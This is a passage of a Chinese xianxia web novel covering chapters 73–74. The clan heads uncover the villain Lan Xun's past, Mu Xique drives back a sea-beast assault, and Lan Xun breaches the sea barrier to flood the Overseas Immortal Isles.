可比他的动作更快的,是从慕夕阙和闻惊遥之间穿过的梅枝雪,她的速度极快,擦肩而过之际夺过了慕夕阙的剑,在几人还未来得及拦,长剑已经捅入夜迢的肩头。 夜迢呕出一口血,抬眸看过去,梅枝雪也遭契约反噬,吐出一大口血。 闻惊遥抬步想要上前带走梅枝雪,慕夕阙扣住他的手,将他又拽了回来。 梅枝雪咬牙看着他:“你怎么有脸,怎么有脸……” 夜迢笑了一声,抬手擦去梅枝雪脸上的血:“我找了你好多年,你离开海外仙岛去到十三州,我就也追去十三州,怎么都找不到你,哪里都没有你。” 梅枝雪拔出长剑,一掌将夜迢击退至百丈远,他砸入高耸的石墙,碎裂的石块砸在他身上,他吐了一地的血,梅枝雪也弯腰呕出深红的鲜血。 慕夕阙上前,夺过自己的剑便要斩杀夜迢,梅枝雪却颤抖着手握住她的手腕:“不能杀!” 慕夕阙回头看她,满目不解:“不是你一定要杀他吗,他杀了玉灵和你的族人。” “可他身上有比翼鸟的心脏!”契约的反噬让梅枝雪重伤,她是医修,知晓自己的肋骨断了多少根,知晓自己的肺腑也破损出血,可她还是咬牙忍痛,直起身子。 “我往返十三州和海外仙岛数十年,寻了多少秘籍,我终于找到有可能复生它们的机会,于是我回了村将它们的尸身刨出来,来到这座孤岛设阵。” 梅枝雪仰头望着虚空:“我用自己的生魂之力布下这聚灵阵,灵气滋养着这座岛,可它们还是没活,几十年了啊,它们还是没活,心主魂力,它们没有心脏。” 慕夕阙神色复杂,她竟在梅枝雪的鬓发间发现了几缕白发,离得这般近,那格外明显,这些年的奔波和悔恨让她神劳形瘁,虽仍是仙姿玉貌,却从内透出一种垂暮之感。 她别过头,不再看梅枝雪,而是走向夜迢,一把揪起他,取出缚仙索将他捆缚。 夜迢还在笑,明明连命都攥在别人手里了,他却半分不在乎,始终盯着梅枝雪看。 闻惊遥看着他的眼神,忽然有些哽塞和窒息感,一个犯了如此大错的人,怎么敢奢求原谅的? 就如同他自己一般。 擦肩而过之际,梅枝雪别过了头,她不愿意看他,夜迢也只看到她的侧脸,他轻声开口,声音缥缈:“你瘦了好多。” 不知道梅枝雪什么心情,但听到一切的慕夕阙有那么一瞬间,很想提剑砍了夜迢的脑袋。 她将被捆缚的夜迢推给蔺九尘:“师兄,劳你看管他,他的修为被我暂时封了,但若是他铁了心要冲破应也简单,你得多留意。” 可夜迢应当不会那般做,他知道梅枝雪已经妥协,他还等着她施舍给他这个他盼了多年的婚契。 蔺九尘颔首:“好,你放心。” 他扣着夜迢,将人押进偏屋。 慕夕阙冷着脸看向梅枝雪:“我不知道你复生玉灵的法子到底有没有用,他不一定会履行约定将比翼鸟的心脏给你,你也不一定会复生它们。” 梅枝雪垂眸,并未说话。 安静了会儿,慕夕阙道:“如今是你不让我杀他。” 梅枝雪塞入两颗灵丹,止住肺腑的伤,声音沙哑:“我会帮你医治你阿姐,今日便开始,待此事了后,你们离开吧。” “有劳。”慕夕阙颔首,顿了顿,又抬眸看她问道,“一个婚契是他的执念,对你来说或许不算什么,拿了比翼神鸟的心脏后,若你想要杀他,我会帮你。” 梅枝雪这次没再回答,她转身朝屋内走去。 慕夕阙看着她的背影,她没见过梅枝雪之前的模样,但如今的梅枝雪确实瘦得突出,这用来引天地灵气的阵法能撑下去,烧的是她的寿数,就像十二辰和天罡篆能燃烧寿数一般。 梅枝雪已进屋,慕夕阙走向慕从晚,握住她的手:“阿姐,今日便开始,我得尽早送你回十三州。” 慕从晚长睫半垂,抬手用衣袖擦去慕夕阙手背上的血,小声说:“好,小夕,别担心。” 慕夕阙只能目送慕从晚离开,她转身进入梅枝雪的竹楼,一直到门关上,慕夕阙收回目光,垂下眼睫,眸光毫无焦点落在地上。 她站了很久,越疏棠和迟笙沉默,姜榆也默然不语,闻惊遥安安静静看着她。 师盈虚犹豫了瞬,走上前,抬手拍拍她的肩膀:“夕阙,你别担心,慕大小姐一定能撑过去的,梅前辈毕竟是医仙。” 可梅枝雪也说了,她从未试过,这次对慕从晚来说便是九死一生,或许方才那一面,便是最后一面。 慕夕阙别过头,转身朝外走。 师盈虚几人沉默,闻惊遥看着她远去的背影,在姜榆要追上前的时候,他也抬步追去。 姜榆便停下,看着他们离开的背影。 慕夕阙并未走太远,她只是坐在梅枝雪的结界边界,几株古树挡住了她的身影。 闻惊遥在她身边席地坐下。 慕夕阙侧首看他一眼:“闻大少爷不是最爱干净吗?” 闻惊遥没回答她的问题,而是转而问道:“夕阙,你前世经常在山里住吗?” 慕夕阙淡淡移开视线,看着结界外的密林和瘴雾:“不然呢,在外面就没一天是不被鹤阶和那些人追的,我只能在山里。” 闻惊遥沉默,无论说什么在此刻都显得苍白。 慕夕阙也不想理他,干脆跃上古树,靠坐在树杈上,脊背抵着树干闭目,可她毫无困意,也不敢睡,心里始终担忧慕从晚的安危,也只是闭目假寐罢了。 慕从晚这一进去,便去了一整日,越疏棠几人都等在竹楼外。 深夜这座孤岛的虫鸣声更是明显,甚至嘈杂。 迟笙屈膝将额头抵着膝盖睡着,越疏棠盘腿打坐,姜榆和师盈虚也靠着彼此的肩头睡去,慕夕阙还在古树上,闻惊遥也坐在树下等了她一日。 倏然间,两人睁开眼。 慕夕阙冷眼看* 着幽深密林,闻惊遥也站起了身。 越疏棠匆匆起来,身旁的迟笙从睡梦中惊醒,懵懵问:“阿姐?” 师盈虚和姜榆也睁开眼,尚不知发生了什么,两人都有些懵。 越疏棠冷声道:“有大批海兽在撞击这座岛的底部。” 迟笙脸色一沉,忙收敛心神静心感知,她察觉到轻微晃动,若不仔细感知极易忽略,她活了十五年也从未遇到过这种情况。 在屋内看守夜迢的蔺九尘也察觉异样打开了门,闻惊遥和慕夕阙已回来,几人聚在院内,竹楼大门仍旧紧闭,梅枝雪医人之际是绝不会贸然停下的。 慕夕阙道:“方才有艘灵舟从上空掠过,是从十三州开来的,有人从那边过来了。” 蔺九尘冷声道:“怕是燕家的人,他们本就在寻医仙,但或许不止燕家人,想必此刻十三州也已知晓咱们来了海外仙岛。” 轰然一声巨响,地面摇晃更加剧烈,师盈虚险些没站稳,迟笙赶忙撑住她。 没时间耽搁,慕夕阙道:“师兄、盈虚和阿榆以及迟姑娘留在这里,我和闻惊遥以及越姑娘去解决海兽,一直这般撞下去,怕是要出事。” 有梅枝雪坐镇,夜迢不敢乱来,但以防万一,还是得留蔺九尘在这里,海兽群不好解决,以迟笙她们的修为怕难以应付。 慕夕阙说完,转身便走,闻惊遥和越疏棠匆忙跟上,三人的身影化为流光隐入密林。 师盈虚叹了口气:“早知道当初好好修行了,也不至于现在什么忙都帮不上。” 姜榆一屁股坐在她身边,安抚道:“我以前也懒,还是我师姐催着我修炼,师大小姐年纪也不大,还有机会。” 蔺九尘和迟笙却皱眉盯着他们消失的方向,地面的震动仍未停歇,能撞出这般大的力道,怕是海兽不少,甚至附近千里的海兽怕都来了。 迟笙说道:“那些海兽突然发难,想必是有人在暗中捣鬼了。” 平静的海面一到夜晚,便掀起了滔天海浪,庞然大物在海水中游动,不时跳出又重重砸下,悬浮在虚空的灵舟平稳驶过,这些海兽仿佛在畏惧什么,竟无一只敢跳上来攻击。 路过一座孤岛,燕如珩垂眸看着那座岛,笑了声:“小夕去了那座岛,是吗?” 一旁的燕家弟子恭敬道:“是,昨夜迟笙出海救人,影杀的探子已不动声色在她身上安置了追踪灵印,如今她出现在那座岛,想必慕二小姐他们也在。” 燕如珩颔首:“那梅枝雪应当也在。” 他说到这里歪歪脑袋,眼眸微眯:“小夕到底如何知道医仙出现在这里的,连夜迢查了这么多年都未查到,她却能知晓。” “你那位青梅可不简单。”沉闷含笑的声音自身后传来。 燕如珩转身,瞧见佩戴兽脸面具的黑衣男子,他负手朝他走来,站在窗边,望向那座孤岛。 “她知道太多事情了。”黑衣男子负手而立,苍灰色的眼眸安然看着下方,“既然都出现在了海外仙岛,这便是最好的时机了,一窝端了。” “燕少主觉得呢?”他侧首看向燕如珩,并不在乎燕如珩眼底的漠然,反而笑起来,“杀了这些人,包括闻少主,我帮你留下慕二小姐的性命,届时待医仙为你接上灵脉,你还可以与她长相厮守。” 燕如珩问他:“你此番跟着前来,想干什么?” “我?” 黑衣男子弯唇笑着,目光透过窗望向远处亮着烛火的群岛,一座座岛屿坐落在这片无垠的海域,就如同置在黑布上的白棋,醒目突出。 “我来向他们讨一笔债。”- 两艘灵舟先后落在沅湘周家门外。 朝蕴和随泱从慕家灵舟下来,身后跟了几个慕家弟子,而庄漪禾也从闻家的灵舟走下,两方一前一后落地,来得正巧。 周家弟子已等候在门外,见他们都来了,拱手道:“见过朝家主,庄家主,老夫人已等候多时,请随弟子前来。” 几人跟着引路的弟子去往周家的老夫人别院,行至院门前,周家弟子褪去,闻家和慕家的弟子自觉守在门外,只剩下朝蕴、庄漪禾和随泱三人。 薛青菱便坐在屋内,见几人前来,抬手便请:“坐吧,也不必多礼,我知你们忙。” 朝蕴三人颔首,四人围着一张四方木桌,桌上放了些纸张,随泱也将自己带来的陈家木盒搁在桌上,取出那半封信。 薛青菱看了眼信的尾端戳下的家主印章,确实有沅湘周家的印记,一个门派的家主印章能偷,总不能九个门派的都偷过来,那便证明这封追杀令,是九个家族共同商议后写下的。 她活了这么多年,什么事没见过,一向从容,但听到庄漪禾告知的事情后,仍免不了心中波澜,连夜派弟子去查。 薛青菱将从周家库房内翻出的宣纸摊开:“这是周家单独下的追杀令,看落笔日期应当在鹤阶这半封信的前一月,想必周家没抓到人,因此九个家族才共同下了追杀令,齐心协力追凶。” 追杀令的上半张信,大多会画上被追之人的样貌特征,像陈家老祖那般天资卓群的人,纵使未开宗创派,但作为散修在那时应也驰名千里,见过的人不会少。 想必陈家木盒里留存的半封信,上头被撕去的半封应也有画像。 随泱几人低头看去,宣纸摊开,那张脸袒露。 几人沉默。 薛青菱道:“我查了万年前那一段时间的名册和各类野书,那时并未有姓陈的门派,陈家老祖确实是个散修,孤身一人,可能夺得阴阳神石,修为和天资必定不凡,这等天纵奇才很难沉寂,我也确实查到了些东西。” 她拿开那张画像,露出下面的一夜帛书:“慕家老祖、周家第二任家主、以及几个门派曾经的家主都参加过同一年的论道大会,但夺冠之人并非他们中任何一个,而是他。” 她指着最顶头的名字,这张名册放了万年了,未有灵力保护,几乎快要化为碎屑,是薛青菱用灵力拼了整整两日两夜才拼凑好的,许多字迹虽已看不清,但大多数还是能认出来的。 兰洵。 “他当年才二十三岁,修为已有化神巅峰,没有神器助力,没有家族门派教导,一介散修,靠自己修行到了这等地步,与当时多个家主、包括鹤阶那时的家主是至交好友。” 朝蕴不解:“查他作甚,他并不姓陈啊。” “我知道,你往后看,兰洵的道侣姓陈。”薛青菱执掌周家多年,思维比这些后辈都要敏捷许多,她拿走这张名册,露出其后的另一张宣纸。 “顺着这个查,查兰洵这个人,他在三十六岁那年娶妻,他的道侣姓陈,但书给周家家主的这封信上提了一句,他的道侣身子不好,生不了孩子。” “等等。”随泱皱眉,“若他是陈家老祖,陈家老祖有孩子啊,我父亲告诉我,当年他出事后,他的夫人带着孩子隐居不出。” “收养的。”薛青菱淡声道,“信的末尾写了,他的夫人有意与他和离,不想让他绝嗣,于是他便想着收养两个孩子,不愿和离。” 随泱只能将那些话又咽了回去。 薛青菱接着翻,又找出一张陈旧的宣纸:“兰洵五十岁那年,书信向我周家家主辞别,托我家主照顾他的夫人和孩子,而他和慕家家主去了不渊海,传闻阴阳神石便是在那里诞生的,兰洵大概就是陈家那位老祖。” 说到这里,薛青菱靠进木椅中,说道:“那么多年的相处,总有些东西是难以销毁的,顺着兰洵这个名字查当年的事,想必两家的家库中也能找到不少东西。” 朝蕴取出家主玉符:“我立刻托人去搜。” 庄漪禾也传信给闻家长老,带领弟子进入家库搜寻。 几人从天亮等到夜幕,又有两艘灵舟停在周家门外,闻家和慕家的长老捧着两个木盒匆匆走来。 “家主,含有兰洵名字的史料全都拿了过来,有几张太过破损,实在难以修补。” 朝蕴接过慕家长老递来的木盒,庄漪禾也将闻家带来的东西搁在桌上。 当年几位家主关系应当极好,时常书信送礼,加之兰洵修为卓绝,参加过不少论道大会和比试历练,但奈何是个散修,在当时盛兴的门派中并未扬名。 几个人在屋里拼拼凑凑,将所有东西列在一起,对比落款时间,忙到深夜,大致能捋出来当年的关系。 兰洵和几大家族的家主或少主交好,他性子热络,人缘不错,加之修为高强,那时的人尚未这般排斥天纵奇才,反而一心招揽,谁都想将兰洵揽入自家门派,但他独来独往惯了,既不愿靠着自己的名望开宗立派,也不愿加入任何一个门派。 兰洵三十四岁那年,除祟之时救了一个根骨有损,终身困于筑基境的女子,那女子有个十岁的凡人胞妹。 兰洵三十六岁那年,力排众议,纵使身旁的人如何劝他不要娶一个修为这般低的女子,修士寿数与修为息息相关,怕到时他还正当壮年,道侣便已垂垂老矣,可兰洵愣是娶了她。 兰洵四十岁那年,道侣二十七岁,他们收养了两个丧父丧母的孩子,两个孩子都有灵根,兰洵亲自教他们修行,让他们跟着妻子姓陈。 兰洵五十岁那年,祟种已乱世几十年,十三州和海外仙岛饿殍遍野,生灵涂炭,不渊海出现大乘境祟种,屠戮三个村子,兰洵和慕家老祖两人前往镇祟。 兰洵在不渊海内时,他的道侣外出为孩子买新衣,感染了秽毒。 兰洵从不渊海出来后,他的道侣已自戕,兰洵杀了一只玉灵,剖出了它的心脏,填给自己已死去的妻子,唤醒了一只有大乘巅峰修为的祟种。 兰洵放任那只祟种屠城戮村,大乘境的他带着一只大乘境的祟种,靠着天罡篆走南闯北,躲避追杀,守着他的“妻子”。 兰洵五十五岁那年,十三州与海外仙岛联合设陷,借玉灵之力,诛戮了那只已达渡劫修为的祟种,此后兰洵开始报复。 兰洵六十岁那年,九大门派共同下了这封追杀令,十三州见令者,若遇兰洵格杀勿论。 兰洵六十五岁那年,被诛于九大门派手中,尸身落进海里,天罡篆下落不明,是兰洵道侣的妹妹——那个凡人女子替他收敛尸身,带着他和姐姐的两个孩子隐居不出。 可灵翠谷陈家为何会被灭门呢? 朝蕴几人看着一张快要破损的宣纸,那上面模糊的字迹,几人呼吸颤抖。 兰洵的道侣达到渡劫后,一只祟种竟然有了一分人的意识,她凭借本能跑去找了自己的妹妹和那两个收养的孩子,可妹妹和她亲手养大的孩子却将她引进了十三州和海外仙岛的围杀阵中。 在这场长达十五年的博弈中,最终以渡劫祟种被十三州和海外仙岛共同围杀枭首,当年论道大会上扬名四方的青年助纣为虐,伏诛偿罪为终。 作者有话说:来晚啦,这章多更了些,今天发个红包~ 算了一下大纲,应该几章就能写到前世~ 终于——写到了这个大反派的身份,就是陈家老祖啊,只不过姓陈的其实是他夫人,他和慕家老祖不是那种爱恨情仇的关系,就是纯仇人了~ 如果有追连载忘记前面关于陈家剧情的宝子们,阿月在评论区里写了个长评,点加精就能看到,大致捋了一下,连载期先挂着这个评论,等完结了可以一口气读下来的话,我再删掉它~ 第74章 第 74 章 怒浪 在赶到岸边后, 一只海兽已跃上高空重重砸落,借着惯力摔至岛上。 越疏棠拽住慕夕阙后退:“退后,是只鳄龟!” 水陆两栖, 可以上岸。 那只鳄龟朝他们冲来,三人翻身上树, 越疏棠冲向鳄龟, 而慕夕阙和闻惊遥则纵身越过,悬立在海上虚空,望向下方的海兽窝。 慕夕阙打来海外仙岛这两日, 见了不少海兽,便是一路的海兽加起来也不如这一半多,他们若是敢跳下去, 顷刻间便会被撕成碎片。 越疏棠解决完那只鳄龟, 也追着跳上虚空, 他们站得高, 不断有海兽想要跃上咬下几人, 庞大的体型却无法跃到这般高。 “它们有目的地在撞击这座岛,这般疯狂,如果不是那个人操控了这些海兽, 那就是……” 她不再说,慕夕阙能听出她未说完的话, 她接道:“它们惦记着埋在岛里的两只玉灵的尸身。” 这些海兽有些开智, 有些尚未开智,但无论如何, 玉灵的血肉圣洁纯粹,在活着的时候万物都会臣服于它们,一旦死后威压消失, 对这些无法思虑过多的野兽来说,便是极具蛊惑的血肉。 越疏棠道:“不行,再这么撞下去,岛下的礁石就会被它们撞烂,岛会沉!” 慕夕阙推开越疏棠和闻惊遥,将两人打至岛上,而她抬手结印,一朵莲花悬浮在虚空,色彩绮丽,瓣身有浮翠流光层层流转,合拢的十二辰绽开,身量陡增,遮天蔽日。 她抬手操控十二辰,单手一抬,重重压下,悬立在夜幕中的莲花以骇然之势砸落,镇压在涛澜汹涌的海域上,自十二辰为中心,鎏金灵力向四面八方冲去,整片海宛如白昼升空,驱散黑暗,照亮里头翻滚的海兽。 离得近的海兽当即被炸为血雾,百里外的海兽被十二辰的余压波及,晕厥的海兽无法悬浮在海水中,纷纷砸落进海底。 掀起的浪花裹挟了血水,兜头砸落,闻惊遥拂开血水,在越疏棠尚未反应过来时,他已冲向虚空。 慕夕阙脚步踉跄了下,还未砸落,便被冲上来的少年接住,她没空管身后的闻惊遥,抬手收回十二辰,这朵莲花的花瓣合拢了三片,神力本就尚未完全恢复,如今又被她贸然用于镇海。 闻惊遥带她落到岸边,这附近百里的海水已全数染红,血腥味呛人,他便抬手挥出道禁制屏去气味。 慕夕阙的脸色白了些,闻惊遥垂眸,她手中的十二辰合拢了三片花瓣,这一击便会损她三年寿数。 “夕阙。”闻惊遥抬眸,替她擦去脸上喷溅的血,“以后我来吧。” 慕夕阙脸色虽白,但脊背仍旧笔直,并未有半分脆弱,她没回话,看着远处的海域:“怕是出事了,那艘灵舟去往群岛了。” 越疏棠垂下的手在抖:“那些禁制……岛下的禁制……” 如果打碎平海的禁制,那么几万里外被隔绝的海水便会倒涌过来,这些年来积压的海水会顷刻间荡平这些岛屿,而万千狂化的海兽会将这些落海的百姓吞食。 森寒的夜风吹来,卷起越疏棠单薄的衣衫,在寂静的夜里响起的,是她早已收入乾坤袋内的玉符。 影杀玉符。 慕夕阙道:“接起来。” 越疏棠深吸口气,取出影杀玉符,里头有人匆匆传话:“阿棠,方才影杀有一大批人外出,你之前说让我留意影杀,我——” 话还未说完,对面的声音戛然而止,随后是激烈的打斗声。 “阿昀!” 越疏棠唤了几声,可很快,利刃刺破血肉的声音传来,有人轰然倒地,而后是轻飘飘的脚步声,离玉符越来越近,再之后,一人捡起了玉符。 清洌的声音自对面传来:“慕二小姐和闻少主在你身边吧,这几个月来累不累,不知道这一次,你们能守住多少人?” 玉符被切断,越疏棠的拳头攥紧,咬紧牙关。 慕夕阙将玉符还给她,低声道:“他已经到了。” 闻惊遥垂眸,看向自己腰间的玉符,在越疏棠的玉符刚被切断后,他的闻家玉符便亮起来,那便是十三州传来的信。 闻惊遥并未避开,来信确实是闻家,是庄漪禾亲传。 “惊遥,鹤阶那位的身份应是陈家老祖,名唤兰洵,目前我们查到的也不多,简短回应,你们记好。” 庄漪禾他们确实并未查到太多,只能简单拼凑出兰洵和十三州以及海外仙岛的恩怨,过去足足万年,几大世家有意销毁当年的事迹,也未留太多东西。 庄漪禾简短说完,沉默了瞬,又道:“你们那边还好吗,鹤阶和燕家去了海外仙岛。” “不太好,他们似乎要攻岛。”闻惊遥道,“阿娘,十三州的人可能过来?” 庄漪禾声音沉闷:“过不去,陈家村的人已经全部消失,没有灵舟我们无法穿过祭墟,更不可能驰援海外仙岛。” 闻惊遥神色未变,应下:“好,阿娘,那便劳您守好闻家和慕家了。” 玉符挂断,几人沉默。 过了片刻,越疏棠道:“兰洵就仅仅因为十三州和海外仙岛围杀了他变成祟种的夫人,便开始报复我们,妄图谋戮玉灵?可当年他明明也是名动天下的一方大能,怎会是这般不明事理的人?” 当年留下来的东西也太少,仅凭这零碎的信息也很难拼出那些年的经过,只能得出片面的结果,结果就是,兰洵确实这般做了,他在谋戮玉灵,不知是想杀这几只玉灵,还是十三州和海外仙岛的所有玉灵。 慕夕阙转身朝山上走去,越疏棠和闻惊遥跟在她身后。 她边走边说:“尽快给海外仙岛的大能们传信,让他们去镇守禁制,兰洵不要命,趁如今十三州赶不来,他怕是很快便要出手了。” 越疏棠赶忙拿出玉符联络自己能信任的朋友,想办法传信给海外仙岛镇守的大能们。 闻惊遥没说话,和慕夕阙一同穿过瘴雾,奔向竹楼。 蔺九尘几人仍坐在院内,从那朵莲花悬浮在虚空,耀眼的光驱逐晦暗后,便知晓慕夕阙用了十二辰荡平海兽群。 见她回来,几人都看过去,众人知晓十二辰会折寿,来之前朝蕴便叮嘱过绝不能擅用,而慕夕阙的脸色也确实比去的时候白了许多。 她并未多说,穿过众人直接进了关押夜迢的屋子,闻惊遥也跟着进来,关上房门。 慕夕阙拖了把木椅坐在夜迢对面几步远处,闻惊遥并未坐下,而是站在她身旁。 “你知道你在帮谁干什么事情吗?” 夜迢被缚仙索捆着,化神境的缚仙索对他来说并不算什么,他只是不愿挣脱,恐惹了梅枝雪不快。 “知道啊,陈家老祖兰洵,我在帮他杀玉灵。” 他懒懒散散靠坐着,姿态与前世慕夕阙见到之时截然相反,她先前见到的夜迢虽不是什么温和之人,但也称得上恣意洒脱,从不曾有这般邪气的模样。 合着都是在她面前装出来的样子。 闻惊遥问道:“他给你什么好处?” “给钱啊。” “你并不缺钱,不至于为了那些钱冒着天谴的危险去杀害玉灵。” 夜迢嗤笑一声,指了指天:“哪里有天谴,你忘了我手上有两只玉灵的命?” 他说着便要站起身,慕夕阙一脚踹在他的膝盖上,将他又踹了回去。 夜迢脸色一沉,但余光瞥见她身后的墙,梅枝雪离他就隔了一堵墙,此刻动手,她定是要恼火。 慕夕阙站起身,垂眸看着他:“玉灵的心脏能救人一事是他告知你的吧,因此你打上了比翼鸟的主意,可他难道没有告诉你,当年他想用玉灵心脏救下他的夫人,却唤醒了一只大乘境的祟种?” 夜迢面无表情看着她。 “看来他没有告诉你。”慕夕阙从他的神情中读出了答案,“你帮他,应当是他给过你一些好处,让我猜猜,或许与梅医仙有关,你要与她缔结婚契,是结了婚契后他能帮你做些事吧,比如洗去医仙的记忆,或者想办法禁锢她,让她忘记仇恨与你长相厮守。” 像是有条裂纹在夜迢的脸上蔓延,他平静的神情被寸寸瓦解,瞳眸微颤,但也只有一瞬,能屠戮玉灵的人早已疯狂,又岂是这般容易失态的人。 “那你便猜去吧,慕二小姐觉得兰洵无所不能,连记忆都能抹去?” 慕夕阙弯眸笑了下,并未再问话,转身出了房间。 闻惊遥站在屋内,垂眸看着夜迢。 夜迢毫不避讳与他直视,冷声问:“怎么,未婚妻走了,你不追?” 慕夕阙说前世她与夜迢关系不错,她在影杀待过好多年,夜迢还将自己的折露斩教给了慕夕阙。 闻惊遥并不觉得他们有除朋友外的其他情谊,他只是在想,像夜迢这样阴晴不定、疯狂无心的人,教会慕夕阙易容杀人、疗伤保命,仅仅是觉得好玩吗? 慕夕阙应当也觉察出不对劲了,可她不问,闻惊遥便不会贸然替她开口,他转身离开,将房门关上。 几人站在院内,梅枝雪还在为慕从晚洗髓,方才海兽攻岛的事她应当知晓,也应当能猜出如今外面怕是出事了。 慕夕阙道:“师兄,你留下来替我守着阿姐吧,你的修为高,我放心。” 师盈虚开口:“夕阙,我想和你——” 慕夕阙打断她,又道:“盈虚,你留下来,夜迢在这里,兰洵也不会吃力不讨好去攻一座孤岛,他想逼出两只玉灵,那些住满了人的岛屿才是他的目的,这里安全些。” 师盈虚安静下来,红唇紧抿,眸底微红,却又无法反驳。 慕夕阙便继续安排:“阿榆擅阵术,留下来防备,迟姑娘身手敏捷,对海外仙岛熟悉,便跟着我们一起去,就这样吧。” 她说完,侧首看向紧闭大门的竹楼。 “如果飞去十三州的灵舟经过这里,你们就直接上舟回去,不要在这里停留。” 慕夕阙不再看,忽略师盈虚和姜榆通红的眼眸,不看蔺九尘欲言又止的神情,她转身离开,朝岛外奔移离开。 越疏棠和迟笙紧随其后,闻惊遥对蔺九尘几人颔首,也跟着离开- 海外仙岛的势力有一半由影杀把持,影杀像鹤阶,却又不完全像鹤阶。 鹤阶利欲熏心,唯利是图,凡是加入进去的弟子和长老,大多都奔着私欲去的。 可影杀不同,他们中或许有些人已被夜迢策反,是夜迢的亲信,但更多的人加入进来,是冲着影杀持正为民、剑扫不公的名号,不知夜迢的所作所为,也不知自己信任的朋友中是否有人从始至终便是为了私欲。 于是这些不愿跟随他们去荡平禁制的杀手,便只有死路一条。 兰洵走入影杀大殿,踩一步便是一个血印,尸身摞了满殿,汉白玉柱也被鲜血覆盖,他宽敞的黑袍尾摆沾了血迹,他却并未在乎。 纪挽春跟在他身侧,小心翼翼不敢发出声音,往往杀了人之后,兰洵的心情并不好,甚至称得上暴戾。 兰洵仰头看着那几根高耸的汉白玉柱,“啧”了声,说道:“好多年前我亲自血洗了这里,就在这里砍了上一任影杀阁主的脑袋,若非如此,夜迢应当不上阁主。” 纪挽春听得胆战心惊,不知这主子到底什么来头,连海外仙岛的事情都要插手涉足。 兰洵转身,看向敞开的殿门,沉声问道:“外头什么情况?” 纪挽春拱手道:“有些大能去往禁制所在之处了,应是有人通风报信了。” “还能是谁,除了他们还有谁?”兰洵嗤了声。 纪挽春并未再说话。 因着灵舟无法载太多人,此次前来的弟子和长老不多,只有几百人,纪挽春也是在到了海外仙岛后,才知晓兰洵要做什么。 这太过疯狂,为何要插手海外仙岛的事,至今他都不敢问。 兰洵灰蒙蒙的眼眸看着夜幕,岛上安宁,深夜大多人都已灭灯就寝,未有夜幕中有几道拔地腾空的身影冲向四方,去往几万里外的禁制所在之地。 他笑了一声,纪挽春眼前一晃,兰洵便已消失不见,只剩一道传音。 “动手。” 纪挽春一阵心惊,刚落地便动手,他是真打算硬碰硬了,若真下手了,怕是鹤阶和海外仙岛便是结了梁子。 ……可经此一事,海外仙岛还能存在吗? 纪挽春沉默了瞬,拿出玉符:“让人跟上吧,淹了海外仙岛。” 一位大能连衣裳都没来得及穿好,只在寝衣外披了个单薄的外衫,他是最早出发的,悬飞几个时辰后终于到了几万里外,这里是渔船从未涉足的地方,却是这些大能们每年都要前来平海之处。 古铜色屏障从海底竖立,篆文由古语写下,像是一圈城墙般扎根在这片海,墙内的海深不足千丈,而一墙之隔,被古铜色屏障阻拦在外的海,却有足足万丈。 几位大能陆续赶到,仰头望向屏障对面高耸的海域,在海水里撞击屏障的是一头头巨兽,个个身量都有内海海兽的几倍大小,外头的海面也远不如屏障内的海面平静。 若屏障碎裂,海水倒灌,常年在另一片海域生活的巨物也会随着冲入。 一位大能指着一处裂缝:“这里快碎了,快补!” 灵力如洪水般泄出,顷刻间补上那处正在蔓延的裂缝,还不等他们松口气,西南侧传来一声巨响,众人惊骇回眸看去,一把巨刀从虚空劈下,重重砍在那处禁制上,瞬间砸出缺口。 “禁制……禁制碎了个缺口!” 海水涌进,将几只巨兽也顺着缺口送了进来。 一人悬立高空,玄色衣摆滴血,他戴了副兽脸面具,只能看到一双苍灰色的眸子,对他们弯眸一笑,抬起染血的手,调转那柄巨刀的方向。 刀影再次劈斩而下,这次带着万顷之势,砸向几位大能,在那柄遮天蔽日的刀影之下,几个人修的身影渺小到几乎看不到。 远处后到的大能奔来,只看到那柄长刀轰然落下,漫天的血雾炸落,而长刀再次劈向东南侧的禁制,砸出了个直径有百丈的缺口。 汹涌的海水倒灌,头长獠牙的象蟹,体型硕大的海蛇,背覆硬甲的鳄龟全数涌了进来,炸开的浪花足有千丈高,宛如下了场大雨,将几人淋湿。 他们听到同伴在死前传来的讯息:“去守岛!” 几人调转方向,转身便跑,奔向群岛。 却有人比他们更快,那柄长刀再次指向了人修。 兰洵看着顷刻间上涨的海平面,这些海水去往万里外只需要半个时辰,这些海兽的速度则更快,两刻钟便能到。 他忽然笑起来,仿佛苍生凋零在他眼中是件大喜之事,往日被围杀的是他,如今双方倒转。 他抬起手,贴着锁骨的位置,触碰衣领之下被细心保护的项坠,近乎柔情地在说:“他们砍了你的头,我让他们尸骨无存,你说好不好?” 兰洵望向远处的两座高山,海外群岛中最高的两座岛屿,朱雀住在山巅,鲲则住在山谷里的海渊内,两只玉灵醒着,它们清楚外面发生了什么。 他近乎咬牙切齿地呢喃:“如果不是它们,如果不是它们……”- 母亲已经搂着阿妹睡下,宋云霁替她们关上房门,坐在院里清点鱼虾。 宋父去世得早,此后母亲一个人撑起了这个家,旁的人家都有个男人去打鱼,可宋家只有两个幼小的孩子和一个死了夫君的女子,于是宋家的渔船也只有宋母一个人,母亲从不让两个孩子跟着出海。 她用一艘渔船,养大了两个孩子,庆幸孩子都有灵根,入了学宫修行,天资不错,再辛苦几年便能享福了。 宋云霁按售价将这些海产分好类,近些时日不能打鱼,明日得趁这些鱼虾还未发臭赶紧将它们卖了,存些银钱。 他分好后安置起来,去院角拿了个网兜出门。 海边的人不仅要出海捕鱼,近些时日海浪大,也能冲上来不少海产,他便捡些回去也能卖钱,无论多少,多少能贴补家用。 他站在岸边,远远看见一个脊背佝偻的老者望向远处,宋云霁知道这位是往返两边的掌舵老者,他跑过去。 “您想出海吗,近些时日不能出海,外头不太平。” 老者却神色冷沉严肃,这像极了学宫里的先生凶他们的时候,宋云霁愣了愣,随着他一同看去,却只看到一片略高的黑影冲来。 “海要淹上来了,赶紧回家吧。” 手里的网兜掉落在地,宋云霁惊恐看着海平面上那一条细线冲来,他转身朝家里奔去,边跑边喊:“都醒醒,海浪过来了!” 有人从窗户内探出头,不耐烦道:“宋小子,没见过海浪啊,这是岸边,那浪再高能淹了你不成?” 宋云霁焦急道:“真* 的淹了,那海浪有一座小山般大小!” 他没工夫再废话,冲去家里,一把拽起沉睡的母亲和阿妹。 宋云岫懵懵问道:“兄长?” 宋云霁拽着她们往外跑:“去山上,去高处!岛要淹了!” 宋母懵懵地问道:“傻小子说什么呢,岛怎么会淹?” 她是个凡人,五感并不突出,但宋云岫已经入道,五感过人。 她回头看去,随着他们越跑越高,逐渐能看到海岸边,有不少人从家里奔出来,拖家带口,头也不回地朝高处跑去。 